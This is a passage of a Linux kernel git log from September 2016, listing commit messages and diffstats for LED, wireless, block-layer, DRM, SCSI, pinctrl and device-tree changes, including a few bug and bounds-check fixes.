Date: Wed Sep 14 20:55:27 2016 +0200 leds: gpio: switch to managed version of led_classdev_register Using the managed version of led_classdev_register allows to significantly simplify the code. Signed-off-by: Heiner Kallweit Signed-off-by: Jacek Anaszewski drivers/leds/leds-gpio.c | 23 ++--------------------- 1 file changed, 2 insertions(+), 21 deletions(-) commit bec69de89bab29c739ab84ceb04ae63d6811babf Author: Heiner Kallweit Date: Wed Sep 14 20:55:18 2016 +0200 leds: gpio: fix and simplify reading property "label" Checking for the presence of the property first isn't strictly needed as we can react on the return code of fwnode_property_read_string. Also, even if the presence of a property "label" was checked, reading a string value for it theoretically still can fail and this case isn't handled. Signed-off-by: Heiner Kallweit Signed-off-by: Jacek Anaszewski drivers/leds/leds-gpio.c | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit 8ca03da5e0f70a413986221da4c88459bb6f6878 Author: Heiner Kallweit Date: Wed Sep 14 20:55:06 2016 +0200 leds: gpio: simplify gpio_leds_create Definition of np can be moved into the loop as well to simplify the code a little. Signed-off-by: Heiner Kallweit Signed-off-by: Jacek Anaszewski drivers/leds/leds-gpio.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 4580809436fc391aff9d876a14d07f66a5de6b28 Author: Heiner Kallweit Date: Wed Sep 14 20:55:00 2016 +0200 leds: gpio: add helper cdev_to_gpio_led_data Add a helper for the container_of as it's used more than once. Signed-off-by: Heiner Kallweit Signed-off-by: Jacek Anaszewski drivers/leds/leds-gpio.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 061b5c1d013a94af385ba8980ea3b2617f1ff0f6 Author: Heiner Kallweit Date: Wed Sep 14 20:54:31 2016 +0200 leds: gpio: fix an unhandled error case in create_gpio_led gpiod_get_value_cansleep returns 0, 1, or an error code. So far errors are not handled and treated the same as 1. Change this to bail out if an error code is returned and remove the double negation. Signed-off-by: Heiner Kallweit Signed-off-by: Jacek Anaszewski drivers/leds/leds-gpio.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 68620e594c250ba8c43a78e77f5296cb9952582e Author: Heiner Kallweit Date: Wed Sep 14 20:54:12 2016 +0200 leds: gpio: introduce gpio_blink_set_t Introduce a typedef gpio_blink_set_t to improve readability of the code. Signed-off-by: Heiner Kallweit Signed-off-by: Jacek Anaszewski drivers/leds/leds-gpio.c | 6 ++---- include/linux/leds.h | 9 ++++++--- 2 files changed, 8 insertions(+), 7 deletions(-) commit be4fdf99fa4dc95aa01144b207caf2cc9fa074d8 Author: Vadim Pasternak Date: Thu Sep 8 07:25:53 2016 +0000 leds: add driver for Mellanox systems LEDs This makes it possible to create a set of LEDs for Mellanox systems: "msx6710", "msx6720", "msb7700", "msn2700", "msx1410", "msn2410", "msb7800", "msn2740", "msn2100". Driver obtains LED devices according to system configuration, provided through system DMI data, like mlxcpld:fan1:green, mlxcpld:fan1:red and creates devices in form: "devicename:colour:function". LED setting is controlled through on board CPLD Lattice device. For setting particular LED off, solid, blink: echo 0 > /sys/class/leds/mlxcpld\:status\:green/brightness echo 1 > /sys/class/leds/mlxcpld\:status\:green/brightness echo timer > /sys/class/leds/mlxcpld\:status\:green/trigger On module probing all LEDs are set green, on removing - off. Last setting overwrites previous, f.e. sequence for changing LED from green - red - green: echo 1 > /sys/class/leds/mlxcpld\:psu\:green/brightness echo 1 > /sys/class/leds/mlxcpld\:psu\:red/brightness echo 1 > /sys/class/leds/mlxcpld\:psu\:green/brightness Note: LEDs cannot be turned on/off simultaneously. The Kconfig currently controlling compilation of this code is: drivers/leds/Kconfig:config LEDS_MLXCPLD Signed-off-by: Vadim Pasternak Reviewed-by: Jiri Pirko Reviewed-by: Wei Yongjun Signed-off-by: Jacek Anaszewski Documentation/leds/leds-mlxcpld.txt | 110 +++++++++ MAINTAINERS | 7 + drivers/leds/Kconfig | 8 + drivers/leds/Makefile | 1 + drivers/leds/leds-mlxcpld.c | 430 ++++++++++++++++++++++++++++++++++++ 5 files changed, 556 insertions(+) commit 477b0229ac9bc275f6f8d2c27a2d08b246fccd0e Author: Boris Brezillon Date: Mon Nov 16 15:53:13 2015 +0100 mtd: introduce the mtd_pairing_scheme concept MLC and TLC NAND devices are using NAND cells exposing more than one bit, but instead of attaching all the bits in a given cell to a single NAND page, each bit is usually attached to a different page. This concept is called 'page pairing', and has significant impacts on the flash storage usage. The main problem showed by these devices is that interrupting a page program operation may not only corrupt the page we are programming but also the page it is paired with, hence the need to expose to MTD users the pairing scheme information. The pairing APIs allows one to query pairing information attached to a given page (here called wunit), or the other way around (the wunit pointed by pairing information). It also provides several helpers to help the conversion between absolute offsets and wunits, and query the number of pairing groups. Signed-off-by: Boris Brezillon Reviewed-by: Brian Norris drivers/mtd/mtdcore.c | 104 ++++++++++++++++++++++++++++++++++++++++++++++ drivers/mtd/mtdpart.c | 1 + include/linux/mtd/mtd.h | 107 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 212 insertions(+) commit ec53c832ee90b86414ca243d0e6fdbb9cf5e413b Author: Johannes Berg Date: Thu Sep 15 10:57:50 2016 +0200 cfg80211: remove unnecessary pointer-of For an array, there's no need to use &array, so just use the plain wiphy->addresses[i].addr here to silence smatch. Signed-off-by: Johannes Berg net/wireless/sysfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e8a24cd4b87247beedb1addc7b683422092047e5 Author: Rajkumar Manoharan Date: Wed Sep 14 12:48:32 2016 +0530 mac80211: allow driver to handle packet-loss mechanism Based on consecutive msdu failures, mac80211 triggers CQM packet-loss mechanism. Drivers like ath10k that have its own connection monitoring algorithm, offloaded to firmware for triggering station kickout. In case of station kickout, driver will report low ack status by mac80211 API (ieee80211_report_low_ack). This flag will enable the driver to completely rely on firmware events for station kickout and bypass mac80211 packet loss mechanism. Signed-off-by: Rajkumar Manoharan Signed-off-by: Johannes Berg include/net/mac80211.h | 6 ++++++ net/mac80211/debugfs.c | 1 + net/mac80211/status.c | 6 ++++++ 3 files changed, 13 insertions(+) commit c7e9dbcf09bddd01568113103d62423d8894eabd Author: Johannes Berg Date: Wed Sep 14 10:03:00 2016 +0200 mac80211: remove sta_remove_debugfs driver callback No drivers implement this, relying either on the recursive directory removal to remove their debugfs, or not having any to start with. Remove the dead driver callback. Signed-off-by: Johannes Berg include/net/mac80211.h | 11 ++--------- net/mac80211/debugfs_sta.c | 4 ---- net/mac80211/driver-ops.h | 15 --------------- 3 files changed, 2 insertions(+), 28 deletions(-) commit 8826fef95bd5f846f7745d9ce1e3009927ec0cb8 Author: Johannes Berg Date: Wed Sep 14 10:00:23 2016 +0200 mac80211: remove pointless chanctx NULL check If chanctx is derived as container_of() from a non-NULL pointer, it can't ever be NULL. Since we checked conf before, that's true here, so remove the useless NULL check. Signed-off-by: Johannes Berg net/mac80211/cfg.c | 4 ---- 1 file changed, 4 deletions(-) commit 5140974dca69f0eace465bccd93891ca242a7e61 Author: Johannes Berg Date: Wed Sep 14 09:58:31 2016 +0200 mac80211: remove unused assignment The next line overwrites this assignment, so remove it; there's no real value in using it for the next assignment either. Signed-off-by: Johannes Berg net/mac80211/util.c | 1 - 1 file changed, 1 deletion(-) commit 53b18980fded52e39520661af3528577d36eb279 Author: Johannes Berg Date: Wed Sep 14 09:59:21 2016 +0200 nl80211: always check nla_put* return values A few instances were found where we didn't check them, add the missing checks even though they'll probably never trigger as the message should be large enough here. Signed-off-by: Johannes Berg net/wireless/nl80211.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 76e1fb4b5532a9df9eb14cfe002412c7617c4ad0 Author: Johannes Berg Date: Wed Sep 14 09:55:57 2016 +0200 nl80211: always check nla_nest_start() return value If the message got full during nla_nest_start(), it can return NULL. None of the cases here seem like that can really happen, but check the return value nonetheless. Signed-off-by: Johannes Berg net/wireless/nl80211.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 58bd7f1158ac7543ccdcddc7f4ecd7db458e6d0b Author: Johannes Berg Date: Wed Sep 14 09:37:54 2016 +0200 mac80211: fix scan completed tracing Passing the 'info' pointer where a 'info->aborted' is expected will always lead to tracing to erroneously record that the scan was aborted, fix that by passing the correct info->aborted. The remaining data will be collected in cfg80211, so I haven't duplicated it here. Signed-off-by: Johannes Berg net/mac80211/scan.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 93db1d9e6c96050b74bb2793de8db00cd0afe6ab Author: Johannes Berg Date: Wed Sep 14 09:23:51 2016 +0200 mac80211: fix possible out-of-bounds access In the unlikely situation that the supplicant has negotiated admission for the background AC (which it has no reason to as it's not supposed to be requiring admission control to start with, and we'd ignore such a requirement anyway), the loop here may terminate with non_acm_ac == 4, which leads to an array overrun. Check this explicitly just for completeness. Signed-off-by: Johannes Berg net/mac80211/mlme.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 9151bcb4fb38aab04cdc67cc3b3e11396db1b8b4 Author: Jens Axboe Date: Thu Sep 15 08:45:45 2016 -0600 blk-mq: kill unused blk_mq_create_mq_map() Fixes 1b157939f92a ("blk-mq: get rid of the cpumask in struct blk_mq_tags") Signed-off-by: Jens Axboe block/blk-mq.c | 24 ------------------------ 1 file changed, 24 deletions(-) commit f1c1f17ac52d22227c0074b3d661d7ed692b707a Author: Johannes Berg Date: Tue Sep 13 17:08:23 2016 +0200 cfg80211: allow connect keys only with default (TX) key There's no point in allowing connect keys when one of them isn't also configured as the TX key, it would just confuse drivers and probably cause them to pick something for TX. Disallow this confusing and erroneous configuration. As wpa_supplicant will always send NL80211_ATTR_KEYS, even when there are no keys inside, allow that and treat it as though the attribute isn't present at all. Signed-off-by: Johannes Berg net/wireless/ibss.c | 5 ++++- net/wireless/nl80211.c | 14 ++++++++++++++ net/wireless/sme.c | 3 +++ net/wireless/wext-sme.c | 2 +- 4 files changed, 22 insertions(+), 2 deletions(-) commit a988588b1806b40ae115fe1c9ab38706fd1a7c2b Author: Kristian H. Kristensen Date: Tue Sep 13 14:20:45 2016 -0700 drm: Only use compat ioctl for addfb2 on X86/IA64 Similar to struct drm_update_draw, struct drm_mode_fb_cmd2 has an unaligned 64 bit field (modifier). This get packed differently between 32 bit and 64 bit modes on architectures that can handle unaligned 64 bit access (X86 and IA64). Other architectures pack the structs the same and don't need the compat wrapper. Use the same condition for drm_mode_fb_cmd2 as we use for drm_update_draw. Note that only the modifier will be packed differently between compat and non-compat versions. Reviewed-by: Rob Clark Signed-off-by: Kristian H. Kristensen [seanpaul added not at bottom of commit msg re: modifier] Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1473801645-116011-1-git-send-email-hoegsberg@chromium.org drivers/gpu/drm/drm_ioc32.c | 4 ++++ 1 file changed, 4 insertions(+) commit 1b157939f92ae22d10b9d52baaa14f826927f5ff Author: Christoph Hellwig Date: Wed Sep 14 16:18:59 2016 +0200 blk-mq: get rid of the cpumask in struct blk_mq_tags Unused now that NVMe sets up irq affinity before calling into blk-mq. Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Signed-off-by: Jens Axboe block/blk-mq-tag.c | 6 ------ block/blk-mq-tag.h | 1 - block/blk-mq.c | 25 +++++++++++++++++++++---- include/linux/blk-mq.h | 1 - 4 files changed, 21 insertions(+), 12 deletions(-) commit b5af7f2ff022a75eb0bbf2166007c4b8ddd02ef1 Author: Christoph Hellwig Date: Wed Sep 14 16:18:58 2016 +0200 nvme: remove the post_scan callout No need now that we don't have to reverse engineer the irq affinity. Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Signed-off-by: Jens Axboe drivers/nvme/host/core.c | 3 --- drivers/nvme/host/nvme.h | 1 - 2 files changed, 4 deletions(-) commit dca51e7892fa3bc545023f9f0d004a2db69eb2a1 Author: Christoph Hellwig Date: Wed Sep 14 16:18:57 2016 +0200 nvme: switch to use pci_alloc_irq_vectors Use the new helper to automatically select the right interrupt type, as well as to use the automatic interupt affinity assignment. Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Signed-off-by: Jens Axboe drivers/nvme/host/pci.c | 107 ++++++++++++++++-------------------------------- 1 file changed, 36 insertions(+), 71 deletions(-) commit 973c4e372c8f71a15ac39765e657ded70fc87d41 Author: Christoph Hellwig Date: Wed Sep 14 16:18:56 2016 +0200 blk-mq: provide a default queue mapping for PCI device Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Signed-off-by: Jens Axboe block/Makefile | 2 +- block/blk-mq-pci.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ include/linux/blk-mq-pci.h | 9 +++++++++ 3 files changed, 55 insertions(+), 1 deletion(-) commit da695ba236b993f07a540d35c17f271ef08c89f3 Author: Christoph Hellwig Date: Wed Sep 14 16:18:55 2016 +0200 blk-mq: allow the driver to pass in a queue mapping This allows drivers specify their own queue mapping by overriding the setup-time function that builds the mq_map. This can be used for example to build the map based on the MSI-X vector mapping provided by the core interrupt layer for PCI devices. Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Signed-off-by: Jens Axboe block/blk-mq-cpumap.c | 25 +++++-------------------- block/blk-mq.c | 18 +++++++++++++++--- block/blk-mq.h | 4 +--- include/linux/blk-mq.h | 3 +++ 4 files changed, 24 insertions(+), 26 deletions(-) commit 7d7e0f90b70f6c5367c2d1c9a7e87dd228bd0816 Author: Christoph Hellwig Date: Wed Sep 14 16:18:54 2016 +0200 blk-mq: remove ->map_queue All drivers use the default, so provide an inline version of it. If we ever need other queue mapping we can add an optional method back, although supporting will also require major changes to the queue setup code. This provides better code generation, and better debugability as well. Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Signed-off-by: Jens Axboe block/blk-flush.c | 6 +++--- block/blk-mq-tag.c | 5 ++--- block/blk-mq.c | 40 +++++++++++---------------------------- block/blk-mq.h | 6 ++++++ block/blk.h | 11 +++-------- drivers/block/loop.c | 1 - drivers/block/mtip32xx/mtip32xx.c | 1 - drivers/block/null_blk.c | 1 - drivers/block/rbd.c | 1 - drivers/block/virtio_blk.c | 1 - drivers/block/xen-blkfront.c | 1 - drivers/md/dm-rq.c | 1 - drivers/mtd/ubi/block.c | 1 - drivers/nvme/host/pci.c | 2 -- drivers/nvme/host/rdma.c | 2 -- drivers/nvme/target/loop.c | 2 -- drivers/scsi/scsi_lib.c | 1 - include/linux/blk-mq.h | 7 ------- 18 files changed, 25 insertions(+), 65 deletions(-) commit bdd17e75cd97c5c39feee409890a91d0396640fe Author: Christoph Hellwig Date: Wed Sep 14 16:18:53 2016 +0200 blk-mq: only allocate a single mq_map per tag_set The mapping is identical for all queues in a tag_set, so stop wasting memory for building multiple. Note that for now I've kept the mq_map pointer in the request_queue, but we'll need to investigate if we can remove it without suffering too much from the additional pointer chasing. The same would apply to the mq_ops pointer as well. Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Signed-off-by: Jens Axboe block/blk-mq.c | 22 ++++++++++++++-------- include/linux/blk-mq.h | 1 + 2 files changed, 15 insertions(+), 8 deletions(-) commit 4e68a011428af3211facd932b4003b3fa3ef4faa Author: Christoph Hellwig Date: Wed Sep 14 16:18:52 2016 +0200 blk-mq: don't redistribute hardware queues on a CPU hotplug event Currently blk-mq will totally remap hardware context when a CPU hotplug even happened, which causes major havoc for drivers, as they are never told about this remapping. E.g. any carefully sorted out CPU affinity will just be completely messed up. The rebuild also doesn't really help for the common case of cpu hotplug, which is soft onlining / offlining of cpus - in this case we should just leave the queue and irq mapping as is. If it actually worked it would have helped in the case of physical cpu hotplug, although for that we'd need a way to actually notify the driver. Note that drivers may already be able to accommodate such a topology change on their own, e.g. using the reset_controller sysfs file in NVMe will cause the driver to get things right for this case. With the rebuild removed we will simplify retain the queue mapping for a soft offlined CPU that will work when it comes back online, and will map any newly onlined CPU to queue 0 until the driver initiates a rebuild of the queue map. Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Signed-off-by: Jens Axboe block/blk-mq.c | 2 -- 1 file changed, 2 deletions(-) commit 96c594ba4f98ac957f4e597c77410a8132013a2d Author: Masahiro Yamada Date: Wed Sep 14 23:39:11 2016 +0900 drm/qxl: squash lines for simple wrapper functions Remove unneeded variables and assignments. Reviewed-by: Gustavo Padovan Signed-off-by: Masahiro Yamada Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1473863952-7658-5-git-send-email-yamada.masahiro@socionext.com drivers/gpu/drm/qxl/qxl_draw.c | 7 ++----- drivers/gpu/drm/qxl/qxl_release.c | 7 ++----- 2 files changed, 4 insertions(+), 10 deletions(-) commit 03d6356d45fa1efefcde517462aca17db073f9c5 Author: Masahiro Yamada Date: Wed Sep 14 23:39:10 2016 +0900 drm/bridge: analogix_dp: squash lines for simple wrapper functions Remove unneeded variables and assignments. Reviewed-by: Gustavo Padovan Signed-off-by: Masahiro Yamada [seanpaul added analogix prefix to subject] Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1473863952-7658-4-git-send-email-yamada.masahiro@socionext.com drivers/gpu/drm/bridge/analogix/analogix_dp_reg.c | 20 ++++---------------- 1 file changed, 4 insertions(+), 16 deletions(-) commit 0003b8d222879deb469c9dbf1c7961bdf81ec1d7 Author: Masahiro Yamada Date: Wed Sep 14 23:39:09 2016 +0900 drm/radeon: squash lines for simple wrapper functions Remove unneeded variables and assignments. Reviewed-by: Gustavo Padovan Signed-off-by: Masahiro Yamada Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1473863952-7658-3-git-send-email-yamada.masahiro@socionext.com drivers/gpu/drm/radeon/cik.c | 6 +----- drivers/gpu/drm/radeon/r100.c | 6 +----- drivers/gpu/drm/radeon/r600.c | 6 +----- 3 files changed, 3 insertions(+), 15 deletions(-) commit d912adef4d88d5761a13483637296af6a5c4f2c9 Author: Masahiro Yamada Date: Wed Sep 14 23:39:08 2016 +0900 drm/amdgpu: squash lines for simple wrapper functions Remove unneeded variables and assignments. Reviewed-by: Gustavo Padovan Signed-off-by: Masahiro Yamada Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1473863952-7658-2-git-send-email-yamada.masahiro@socionext.com drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 6 +----- drivers/gpu/drm/amd/amdgpu/sdma_v2_4.c | 6 +----- drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 6 +----- 3 files changed, 3 insertions(+), 15 deletions(-) commit 474b313de79e034e269955de23231da769a521b7 Merge: 2849450 ee8d41e Author: Jens Axboe Date: Thu Sep 15 08:38:34 2016 -0600 Merge branch 'irq/for-block' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip into for-4.9/msi-irq commit 9304af1b9ffa95dcb37d642852f8c67b98ea349a Author: Karl Beldan Date: Thu Sep 8 11:33:24 2016 -0700 ARM: dts: da850-lcdk: Add NAND to DT This adds DT support for the NAND connected to the SoC AEMIF. Passed torture hashing a 40MB file on top of UBIFS using subpages. Signed-off-by: Karl Beldan [khilman: add back default partitions from an earlier patch] Signed-off-by: Kevin Hilman Signed-off-by: Sekhar Nori arch/arm/boot/dts/da850-lcdk.dts | 83 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) commit 48ab6f5360cf1a251ce71a193d1c2c74dc5c13f6 Merge: 5ee0530 cb9850d Author: Greg Kroah-Hartman Date: Thu Sep 15 15:59:30 2016 +0200 Merge tag 'phy-for-4.9-updated_v1' of git://git.kernel.org/pub/scm/linux/kernel/git/kishon/linux-phy into usb-testing Kishon writes: phy: for 4.9 (with extcon merge resolution) updated tag for 4.9 based on usb-next along with extcon merge resolution phy updates includes: *) phy driver for USB 3.0 PHY on Northstar *) phy driver for Rockchip usb2phy *) phy driver for the Rockchip SoC internal PCIe PHY *) phy driver for USB Type-C PHY on rk3399 *) phy_reset() API *) support for Allwinner A64 usb phy, usb2 phy in r8a7796 *) Fixes in twl4030-usb, tegra phy, sun4i-usb phy, da8xx-usb phy and omap-usb2 phy *) other misc cleanups Signed-off-by: Kishon Vijay Abraham I commit 7bc2b55a5c030685b399bb65b6baa9ccc3d1f167 Author: Dan Carpenter Date: Thu Sep 15 16:44:56 2016 +0300 scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer() We need to put an upper bound on "user_len" so the memcpy() doesn't overflow. Cc: Reported-by: Marco Grassi Signed-off-by: Dan Carpenter Reviewed-by: Tomas Henzl Signed-off-by: Martin K. Petersen drivers/scsi/arcmsr/arcmsr_hba.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 38247feb60512a52c4f847933f8f931284dc21f4 Author: Wei Yongjun Date: Thu Sep 15 03:25:23 2016 +0000 scsi: ibmvscsis: Fix error return code in ibmvscsis_probe() Fix to return error code -ENOMEM from the dma mapping error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi_tgt/ibmvscsi_tgt.c | 1 + 1 file changed, 1 insertion(+) commit 07bc299b11617d54a948797270bbfe09ecc2f87a Author: Peter Griffin Date: Wed Sep 14 14:27:52 2016 +0100 pinctrl: st: Remove obsolete platforms from pinctrl-st dt doc STiH415/6 SoC support is being removed from the kernel. This patch updates the ST pinctrl dt doc and removes references to these obsolete platforms. It also updates the dt example to the currently supported STiH407 platform. Signed-off-by: Peter Griffin Cc: Cc: Cc: Signed-off-by: Linus Walleij .../devicetree/bindings/pinctrl/pinctrl-st.txt | 33 +++++++++++----------- 1 file changed, 16 insertions(+), 17 deletions(-) commit 147e1468b2a36300595e2952a539a29394b4468c Author: Peter Griffin Date: Wed Sep 14 14:27:51 2016 +0100 pinctrl: st: Remove STiH415/6 SoC pinctrl driver support. STiH415/6 SoC support is being removed from the kernel. This patch updates the ST pinctrl driver and removes references to these obsolete platforms. As some structures referenced by STiH407 based configuration were shared with STiH416 we update these names to match the remaining supported platform. Signed-off-by: Peter Griffin Cc: Cc: Signed-off-by: Linus Walleij drivers/pinctrl/pinctrl-st.c | 76 ++++++++------------------------------------ 1 file changed, 14 insertions(+), 62 deletions(-) commit 0ef823bee705a52372dfb3a9b4f3098bf9b6ae22 Author: Jerome Brunet Date: Wed Sep 14 11:45:28 2016 +0200 pinctrl: amlogic: gxbb: add i2c pins Add EE domains pins for the i2c devices A,B,C Signed-off-by: Jerome Brunet Acked-by: Kevin Hilman Signed-off-by: Linus Walleij drivers/pinctrl/meson/pinctrl-meson-gxbb.c | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 8475c8118551f806176b5af4d0e8657a5f015b95 Author: Christoph Hellwig Date: Sun Sep 11 19:35:41 2016 +0200 scsi: sd: Move DIF protection types to t10-pi.h These should go together with the rest of the T10 protection information defintions. [mkp: s/T10_DIF/T10_PI/] Signed-off-by: Christoph Hellwig Reviewed-by: Bart Van Assche Signed-off-by: Martin K. Petersen drivers/scsi/scsi_debug.c | 39 +++++++++++++++++++-------------------- drivers/scsi/sd.c | 11 ++++++----- drivers/scsi/sd.h | 21 --------------------- drivers/scsi/sd_dif.c | 10 +++++----- include/linux/t10-pi.h | 20 ++++++++++++++++++++ 5 files changed, 50 insertions(+), 51 deletions(-) commit 27c0e83b273a637d5cb56f02550c31d803bafc10 Author: Christoph Hellwig Date: Sun Sep 11 19:35:40 2016 +0200 scsi: qla2xxx: Use struct t10_pi_tuple Instead of defining a local version of it. Signed-off-by: Christoph Hellwig Reviewed-by: Bart Van Assche Signed-off-by: Martin K. Petersen drivers/scsi/qla2xxx/qla_def.h | 10 ---------- drivers/scsi/qla2xxx/qla_isr.c | 2 +- 2 files changed, 1 insertion(+), 11 deletions(-) commit 6ebf105cc047f3877ac530cd19d13b3e788ab02e Author: Christoph Hellwig Date: Sun Sep 11 19:35:39 2016 +0200 scsi: scsi_debug: Use struct t10_pi_tuple instead of struct sd_dif_tuple And remove the declaration of the latter in sd.h as scsi_debug was the only user. Signed-off-by: Christoph Hellwig Reviewed-by: Bart Van Assche Signed-off-by: Martin K. Petersen drivers/scsi/scsi_debug.c | 15 ++++++++------- drivers/scsi/sd.h | 9 --------- 2 files changed, 8 insertions(+), 16 deletions(-) commit f94277af03ead0d3bf24a190a44d2b4cd6016549 Author: Robin Murphy Date: Wed Sep 14 16:01:24 2016 +0100 of/platform: Initialise dev->fwnode appropriately Whilst we're some of the way towards a universal firmware property interface, drivers which deal with both OF and ACPI probing end up having to do things like this: dev->of_node ? &dev->of_node->fwnode : dev->fwnode This seems unnecessary, when the OF code could instead simply fill in the device's fwnode when binding the of_node, and let the drivers use dev->fwnode either way. Let's give it a go and see what falls out. Signed-off-by: Robin Murphy Signed-off-by: Rob Herring drivers/of/platform.c | 2 ++ 1 file changed, 2 insertions(+) commit a67e9472da423ec47a3586920b526ebaedf25fc3 Author: Richard Fitzgerald Date: Mon Sep 12 14:01:29 2016 +0100 of: Add array read functions with min/max size limits Add a new set of array reading functions that take a minimum and maximum size limit and will fail if the property size is not within the size limits. This makes it more convenient for drivers that use variable-size DT arrays which must be bounded at both ends - data must be at least N entries but must not overflow the array it is being copied into. It is also more efficient than making this functionality out of existing public functions and avoids duplication. The existing array functions have been left in the API, since there are a very large number of clients of those functions and their existing functionality is still useful. This avoids turning a small API improvement into a major kernel rework. The old functions have been turned into mininmal static inlines calling the new functions. The old functions had no upper limit on the actual size of the dts entry, to preserve this functionality rather than keeping two near-identical implementations, if the new function is called with max=0 there is no limit on the size of the dts entry but only the min number of elements are read. Signed-off-by: Richard Fitzgerald Signed-off-by: Rob Herring drivers/of/base.c | 156 ++++++++++++++++++++++++++++++++++------------------- include/linux/of.h | 144 ++++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 234 insertions(+), 66 deletions(-) commit 79ac5d31df7011e2b60dba4bd1e2f9a9f65e5e1e Author: Richard Fitzgerald Date: Mon Sep 12 14:01:28 2016 +0100 of: Make of_find_property_value_of_size take a length range In preparation for adding variable-length array reads, change of_find_property_value_of_size so that it takes an optional maximum length. If the maximum is passed as 0, the behaviour is unchanged and it will return a property if it's >= the requested minimum length. If maximum is non-zero it will only return a property whose length is min <= l <= max. Signed-off-by: Richard Fitzgerald Signed-off-by: Rob Herring drivers/of/base.c | 39 +++++++++++++++++++++++++++++---------- 1 file changed, 29 insertions(+), 10 deletions(-) commit 1b94a9b7d2dc26ddfd66b0d9c4533040a78cc394 Author: Lucas Stach Date: Thu Sep 15 12:57:32 2016 +0200 drm/etnaviv: mark whole context as lost in recover worker If we reset the GPU to get it back into a usable state we lose all context, not just the MMU one. Mark the whole context as lost to trigger a restore of the exec and MMU state. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 06225487ae9e482079f1a7ab4da6dcf03dbe8c2c Author: Lucas Stach Date: Thu Sep 15 12:40:11 2016 +0200 drm/etnaviv: record correct cmdbuf IOVA in dump For cmdbufs the CPU IOVA was recorded instead of the GPU one. Fix this to make it consistent with other BOs and to make reading the dumps easier. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_dump.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 7c971c62dd543a323a0cabc0c559caea1759f59f Author: Lucas Stach Date: Thu Sep 15 13:06:43 2016 +0200 drm/etnaviv: space out IOVA layout for cmdbufs on MMUv2 At least on the GC3000 the FE MMU is not properly flushing stale TLB entries. Make sure to map the cmdbufs with a big enough spacing in the IOVAs to not hit old/prefetched TLB entries when jumping to a newly mapped cmdbuf. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 12ff4bdef1a015945e4b19ed80dd9e50626cd3bc Author: Lucas Stach Date: Mon Aug 15 18:16:59 2016 +0200 drm/etnaviv: fix up model and revision for GC2000+ GC2000+ on the i.MX6QP is just a re-branded GC3000, lets call it by its real name to avoid confusion in other parts of the driver. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit afb7b3b1deb471698f54e04a1815bc803ec9a161 Author: Lucas Stach Date: Sat Aug 20 00:16:58 2016 +0200 drm/etnaviv: implement IOMMUv2 translation All other parts are now in place, so implement the actual translation step and hook it up, so the driver claims support for cores with the new MMU. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_iommu.h | 3 +- drivers/gpu/drm/etnaviv/etnaviv_iommu_v2.c | 259 ++++++++++++++++++++++++++++- drivers/gpu/drm/etnaviv/etnaviv_mmu.c | 2 +- 3 files changed, 260 insertions(+), 4 deletions(-) commit 128a9b1dec4c379c98beb675383b49ff2d3a641d Author: Lucas Stach Date: Sat Aug 20 00:14:43 2016 +0200 drm/etnaviv: handle MMU exception in IRQ handler Bit 30 of the interrupt status signals an MMU exception. Handle this condition properly and dump some useful registers. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_gpu.c | 15 +++++++++++++++ drivers/gpu/drm/etnaviv/state_hi.xml.h | 9 +++++---- 2 files changed, 20 insertions(+), 4 deletions(-) commit 2e145a22486610100cb2c6d789f56bd0c6f27718 Author: Lucas Stach Date: Sat Aug 20 00:01:24 2016 +0200 drm/etnaviv: add flushing logic for MMUv2 Flushing works differently on MMUv2, in that it's only necessary to set a single bit in the control register to flush all translation units. A semaphore stall then makes sure that the flush has propagated properly. Signed-off-by: Lucas Stach drivers/gpu/drm/etnaviv/etnaviv_buffer.c | 31 +++++++++++++++++++++++-------- 1 file changed, 23 insertions(+), 8 deletions(-) commit de08e8ef71cd7fbc4a89107b295571c4d50f0d66 Author: Lucas Stach Date: Fri Aug 19 